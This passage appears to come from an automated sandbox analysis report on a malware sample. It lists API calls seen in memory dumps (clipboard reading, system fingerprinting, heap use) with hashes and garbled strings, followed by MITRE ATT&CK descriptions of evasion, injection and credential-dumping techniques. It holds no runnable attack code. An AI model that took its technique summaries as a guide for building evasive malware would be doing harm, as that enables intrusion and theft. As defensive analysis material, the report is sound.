Opcode ID: af78848e772b2239e71a8543648dbf526b680b3ac221c19b18b434eb311b0419
Instruction ID: 506b7b574d8000d809568ce512fb95433625c79aa38ec2c80b2636ebefffc8f4
Opcode Fuzzy Hash: af78848e772b2239e71a8543648dbf526b680b3ac221c19b18b434eb311b0419
Instruction Fuzzy Hash: 0BD0A7FDA606089BE714D775FC4E4163625DB4325A3040038F80683322EA35D5548D9B

Function 0042F481 Relevance: 1.8, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042F5E5

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 3427f7191c17f93caf67fd26d3365cdac28fb9ccf4f177b5e2cb6d0e58f20142
Instruction ID: 159ba8d8b0c5d88003056c6536c7e2755ed42697ab90b258c5c26d0cc94d9d9e
Opcode Fuzzy Hash: 3427f7191c17f93caf67fd26d3365cdac28fb9ccf4f177b5e2cb6d0e58f20142
Instruction Fuzzy Hash: 0F91F87010C3D08BD7398F2995603ABBFE19FEB308F584A6ED0C997382D77985458B5A

Function 004395C7 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004395E7

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: f9caa41019bdc740ee0b9345fca91777fd2377a219faf06f30703e9a22e1fe49
Instruction ID: 467edc09f1ba4e848d5d9b1be9e32d729257985f786e10be2cd399486c31e036
Opcode Fuzzy Hash: f9caa41019bdc740ee0b9345fca91777fd2377a219faf06f30703e9a22e1fe49
Instruction Fuzzy Hash: F911C1359092898FCB18CF3889949987BB1AF4F210F09829CD495A73B2DA349801CF11

Function 0043FBB0 Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B97C,00000000,0040B9F3), ref: 0043FBE2

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ea23be570b2c7bed78175230878b622bdf25422050e0d399929f7fdd74999bbc
Instruction ID: 9489e16964e9fb7facc9dcd584fcf76e8f52ad1eb4b47a7177fc4a86da97fa40
Opcode Fuzzy Hash: ea23be570b2c7bed78175230878b622bdf25422050e0d399929f7fdd74999bbc
Instruction Fuzzy Hash: 59F0A735558211DBC2001B29BC06B5B36A8EFCF715F111839F80597165DB39E801859E

Function 0043E330 Relevance: 1.5, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,?,?,0040B97C,00000000,0040B9F3), ref: 0043E364

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: aabcf06965db8a6cb313eccff249f9b853c0e3688fb80a27591a47d81de5d219
Instruction ID: 3f220ddaedc6f7c47158062b06ca4fcab2b43dfc43af3dd450efc66decba050d
Opcode Fuzzy Hash: aabcf06965db8a6cb313eccff249f9b853c0e3688fb80a27591a47d81de5d219
Instruction Fuzzy Hash: 7FE0DF35201211FBC2200B14AC81FAB7368EF8776AF020875F5009B1208334DC0086F8

Function 004359F5 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00435A3E

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c9eb08649175a872df546f5f641d5253485211f54f06a38a5030b3e2fa1e5f95
Instruction ID: b02ce8e978d5b7cbea22c76cc3643dbabdc3fc1255baf49ffd03c0c2d2972571
Opcode Fuzzy Hash: c9eb08649175a872df546f5f641d5253485211f54f06a38a5030b3e2fa1e5f95
Instruction Fuzzy Hash: E8F0B7B82087018FD304DF68D1A471ABBF0FB89304F01881CE5959B3A0C7B6A948CF82

Function 00433751 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00433797

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 6632bee88472e7033e9eedf20592dd1ada7e04483adb8a7a5616a6b0a7c674be
Instruction ID: bb8448b7f6d65fbe5549f96c6756b7e2992d9ca22131fe3e0a95bf764f80edd9
Opcode Fuzzy Hash: 6632bee88472e7033e9eedf20592dd1ada7e04483adb8a7a5616a6b0a7c674be
Instruction Fuzzy Hash: 3AF0DFB42087028FE301CF24C1A471BBBE5BB85304F21890CE0A44B390C3B5AA098FC2

Function 0043E310 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,64EED067,00408BF4,3P16), ref: 0043E320

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 07770d5bb5f01c5dcaa0a45f92ad5a1b3d8a87d07c803fb70914e7cb9d737e30
Instruction ID: 617bae828074deae15c62c61c915eff02f53d1e0adb9ce70b014a5942c375f4e
Opcode Fuzzy Hash: 07770d5bb5f01c5dcaa0a45f92ad5a1b3d8a87d07c803fb70914e7cb9d737e30
Instruction Fuzzy Hash: 38C04C31045121ABDA502B15FC05B8A7A65EF45365F054495B004A60B28660AC818698

Non-executed Functions

Function 00436260 Relevance: 45.7, APIs: 2, Strings: 24, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004362A9
GetSystemMetrics.USER32 ref: 004362B9

Strings

7gC, xrefs: 0043649B
$kC, xrefs: 00436422
7gC, xrefs: 0043646F
7gC, xrefs: 004364B1
[iC, xrefs: 004364C7
7gC, xrefs: 00436464
7gC, xrefs: 00436535
7gC, xrefs: 004364F3
, xrefs: 004363A6
!mC, xrefs: 004364FE
7gC, xrefs: 004364BC
7gC, xrefs: 004364E8
7gC, xrefs: 00436509
oC, xrefs: 00436485
7gC, xrefs: 00436561
4jC, xrefs: 004364D2
hC, xrefs: 0043654B
7gC, xrefs: 00436540
7gC, xrefs: 00436514
7gC, xrefs: 00436443
0nC, xrefs: 00436459
7gC, xrefs: 0043644E
7gC, xrefs: 00436556
7gC, xrefs: 00436490

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: MetricsSystem
String ID: $!mC$$kC$0nC$4jC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$7gC$[iC$hC$oC
API String ID: 4116985748-735900891
Opcode ID: 03293a76d0e6f27956f7f9a2ea98f98e29c2da7ee0dbfc20e54decd9401d8d0f
Instruction ID: a953c80ed1e6c9bbb2acaa33acc90adbcd8232e5160da31776cb7d74123fa145
Opcode Fuzzy Hash: 03293a76d0e6f27956f7f9a2ea98f98e29c2da7ee0dbfc20e54decd9401d8d0f
Instruction Fuzzy Hash: ABA15EB45493849FE3B4DF25C58978BBBE0BB85308F00891EE69C8B254D7B85858DF4B

Function 00436080 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 131clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436094
GetClipboardData.USER32 ref: 004360AF
GlobalLock.KERNEL32 ref: 004360D0
GetWindowLongW.USER32 ref: 0043612F
GlobalUnlock.KERNEL32 ref: 00436233
CloseClipboard.USER32 ref: 0043623C

Strings

(, xrefs: 0043615E
@, xrefs: 00436181
+, xrefs: 00436168
-, xrefs: 00436154

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: ($+$-$@
API String ID: 2832541153-3554917468
Opcode ID: eee851d89f25edbbd4ed57898fc4fb552e1e0818d5a6da4c35085ddfd0504238
Instruction ID: bdb2d9c2bc841c8f2a3e558f1334c3c1dfa8a214227731b6e41f597273676e0e
Opcode Fuzzy Hash: eee851d89f25edbbd4ed57898fc4fb552e1e0818d5a6da4c35085ddfd0504238
Instruction Fuzzy Hash: 7741A17110C7828ED304EF7C948935FBEE09B86314F0A8A7EE4D586392C67C8549D7A7

Function 00424C10 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 115COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 00424CA8

Strings

*H%N, xrefs: 00424C2A
6T!Z, xrefs: 00424C42
4D"J, xrefs: 00424C22
:X|^, xrefs: 00424C4A
f@F, xrefs: 00424C65
_\, xrefs: 00424C56

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: *H%N$4D"J$6T!Z$:X|^$_\$f@F
API String ID: 237503144-1361110038
Opcode ID: 8ac7ac2f9e7e678587a66ed55d269debe78142821aa82d55bbcf853c0d70921d
Instruction ID: dddba54aee623b415b6794963dce5371455b21fe8a57bd6e4f0d68f4edd3e921
Opcode Fuzzy Hash: 8ac7ac2f9e7e678587a66ed55d269debe78142821aa82d55bbcf853c0d70921d
Instruction Fuzzy Hash: A44125366483204BD324CE68DCD17ABF6D3DBC0714F0A853CE9965B3C1DAB999058781

Function 00429E70 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 420COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429F0A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 00429F8E

Strings

|}, xrefs: 0042A331
M)k+, xrefs: 00429EC5

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M)k+$|}
API String ID: 237503144-2478318621
Opcode ID: b9a6b80def3f47ebae461193d2e71339efa368d7ebd3133d7695e6b3ece90ec4
Instruction ID: b05ac647b753ddaf48b98f8a1ca3e38e45bc9e951ddf9b4aae43234e18d9c073
Opcode Fuzzy Hash: b9a6b80def3f47ebae461193d2e71339efa368d7ebd3133d7695e6b3ece90ec4
Instruction Fuzzy Hash: D9D1CF7164C3518FE319CF29989279FBBE6EBC5304F05C82DE4D98B281D678C50A8B96

Function 00425310 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 258COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0042543B
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0042549F

Strings

,`, xrefs: 0042539F

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ,`
API String ID: 237503144-1926041171
Opcode ID: e027edc38b5128ac3d4a3178c995345471f07d50876f942bc85d62e1bbe3fdf0
Instruction ID: 54e4daa30bc61da7b8932b174802c42eb33cbcc4fae566a783cd417281a6a74e
Opcode Fuzzy Hash: e027edc38b5128ac3d4a3178c995345471f07d50876f942bc85d62e1bbe3fdf0
Instruction Fuzzy Hash: EB91F2B5A002159FDB04CF68DC927AEBBB1FB45318F24816DE814AB382D7759803CBD5

Function 00430361 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 147COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 004304AF

Strings

<+m , xrefs: 004304C0
%&, xrefs: 004304C8
YyE^, xrefs: 00430428
J+,,, xrefs: 004304B8

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: %&$<+m $J+,,$YyE^
API String ID: 3664257935-3118217799
Opcode ID: 04de18d5e7717988b317a29be3d3681703cba6837ef9d0f384e4958e0209fb2f
Instruction ID: e8a83bf0ff457ca83ab46c15c4a1bd87fb79e700b67c20d42fc79b42eff2dd7c
Opcode Fuzzy Hash: 04de18d5e7717988b317a29be3d3681703cba6837ef9d0f384e4958e0209fb2f
Instruction Fuzzy Hash: DE4126B004C3818FE3218F2488A47A77FD0EFA6318F280A5DE5D557392D67945098B67

Function 0042AEBF Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 0042AF90
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 0042B0E1

Strings

5B3@, xrefs: 0042B026
dV3T, xrefs: 0042B03B

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 5B3@$dV3T
API String ID: 237503144-261990991
Opcode ID: 41a03f116edb841ab1c847b718a3ea413a6da15f6eefa77243de8dc73cba9e25
Instruction ID: bfba7fa124b1cd7eb740684d17e56cbcd8e2c712ff3b862f9fdbc632ce2c9353
Opcode Fuzzy Hash: 41a03f116edb841ab1c847b718a3ea413a6da15f6eefa77243de8dc73cba9e25
Instruction Fuzzy Hash: 836141B0A012158FE355CF69C98175ABFA1FB85310F1996ACD4268F7A6C3B88842CFC5

Function 00416BB5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00416A64
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?,?,?,?), ref: 00416AAE

Strings

H, xrefs: 00416AF1

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: H
API String ID: 237503144-2852464175
Opcode ID: a078ad03460fa1001752d472e64a71f162443adf9e56fe59ad1f2c52834ab9ed
Instruction ID: 3afec7151db21522a113372fe6e1d9e90a6c905b004d47a80dd4e46599dd6d9d
Opcode Fuzzy Hash: a078ad03460fa1001752d472e64a71f162443adf9e56fe59ad1f2c52834ab9ed
Instruction Fuzzy Hash: 7A412D76908751DFD3218B2498007AB77D9AFC6314F06467DE8C897281DB79CD048766

Function 00416ACD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

H, xrefs: 00416AF1

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: e1e0cd936cac4c07c33fe60046a000ebc30fb4ab86b89c3c8269044ec52010dc
Instruction ID: bc58ff767b7f579af8a017e0aed4a35e82aff95fb835aa70af31edf0e0242aae
Opcode Fuzzy Hash: e1e0cd936cac4c07c33fe60046a000ebc30fb4ab86b89c3c8269044ec52010dc
Instruction Fuzzy Hash: 03412A7A908751DFD3218B24D8007EB77E9AFC6324F05467DE8C897281DB79DD048BA6

Analysis Process: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exePID: 6680, Parent PID: 7508COMMON

Executed Functions

Function 00007FFAABE315CC Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

8>h, xrefs: 00007FFAABE315F3

Memory Dump Source

Source File: 00000014.00000002.3731144772.00007FFAABE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaabe30000_2AZA84BP4AM1TVWCT7DQB9ZWGJA.jbxd

Similarity

API ID:
String ID: 8>h
API String ID: 0-2845980189
Opcode ID: 53ea42d17eb22bad41b39856d717ef531fb90dce6413399d15b3e4559a0d5071
Instruction ID: c37f123d406ccc5dc6c3ce1e9e8be2a901b9bd33aac22d92190a3984d698d715
Opcode Fuzzy Hash: 53ea42d17eb22bad41b39856d717ef531fb90dce6413399d15b3e4559a0d5071
Instruction Fuzzy Hash: 1C11B171A0EE858EE3B99368841A7B46BD2DF563D4F0D40BED04EC71E2CD08288983D3

Function 00007FFAABD1E2D4 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3729961426.00007FFAABD1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABD1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaabd1d000_2AZA84BP4AM1TVWCT7DQB9ZWGJA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c89b917dbc06d27aa0678d2f8fb5f0e76b236cd7a46fc831a8b84a1d626b94
Instruction ID: 4d45d2ca5babca7aa5b074e2ec0eed4cc6e046966cda32e8625781d180ec7f62
Opcode Fuzzy Hash: 75c89b917dbc06d27aa0678d2f8fb5f0e76b236cd7a46fc831a8b84a1d626b94
Instruction Fuzzy Hash: E041F67140EBC48FE75A8B28A8559523FB0EF57361B0541EFD09CCB1B3D625A84AC7D2

Function 00007FFAABE31460 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3731144772.00007FFAABE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaabe30000_2AZA84BP4AM1TVWCT7DQB9ZWGJA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e9078fa7141346e724d17394e9492d139e0439bcfe724a614404273f5047ae0
Instruction ID: 0cc97f82f9228374b84c0f73c6b18347e6674843d9c20a2fe46834c3614a6452
Opcode Fuzzy Hash: 1e9078fa7141346e724d17394e9492d139e0439bcfe724a614404273f5047ae0
Instruction Fuzzy Hash: 7BD01762A59C2A0AFBA8B2B8A0117B950C69B88390F4440F5A40DC62CADC5C5C8622D6

Function 00007FFAABE316EC Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3731144772.00007FFAABE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaabe30000_2AZA84BP4AM1TVWCT7DQB9ZWGJA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f26f1c659bd1cfeb8b8fccdaa9a359e99dd447240ef7f2f2a6592d0451a786d
Instruction ID: 91961c250d77f3f4de19667914e3ef72b8754a4dd68f521fdc79c0c31239e91f
Opcode Fuzzy Hash: 5f26f1c659bd1cfeb8b8fccdaa9a359e99dd447240ef7f2f2a6592d0451a786d
Instruction Fuzzy Hash: 26D0C2A2E0DC6A0AF7A8B2BCD0613B454C1DB88340F4800F9E40DC62C7DC4C5CC61392

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
